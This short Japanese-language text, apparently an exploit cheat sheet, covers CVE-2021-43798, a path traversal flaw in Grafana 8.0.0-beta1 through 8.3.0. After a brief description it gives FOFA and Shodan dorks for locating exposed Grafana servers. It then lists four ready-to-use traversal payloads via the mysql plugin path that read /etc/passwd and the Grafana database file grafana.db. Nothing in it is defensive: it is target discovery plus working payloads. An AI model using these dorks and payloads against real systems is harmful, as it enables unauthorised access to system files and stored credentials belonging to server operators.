CVE-2021-43798は、Grafanaバージョン8.0.0-beta1から8.3.0に影響する高深刻度のパストラバーサル脆弱性（CVSS 3.1スコア：7.5）です。この脆弱性により、認証されていない攻撃者は、/public/plugins/:pluginIdエンドポイントにおける不適切なサニタイゼーションを悪用して、サーバー上の任意のファイルを読み取ることができます。
dork :
fofa : title="Grafana" && port="3000" shodan : http.title:"Grafana" port:3000
payload :
/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd /public/plugins/mysql/../../../../../../../../../../../../etc/passwd /public/plugins/mysql/../../../../../../../../../../../../var/lib/grafana/grafana.db /public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db
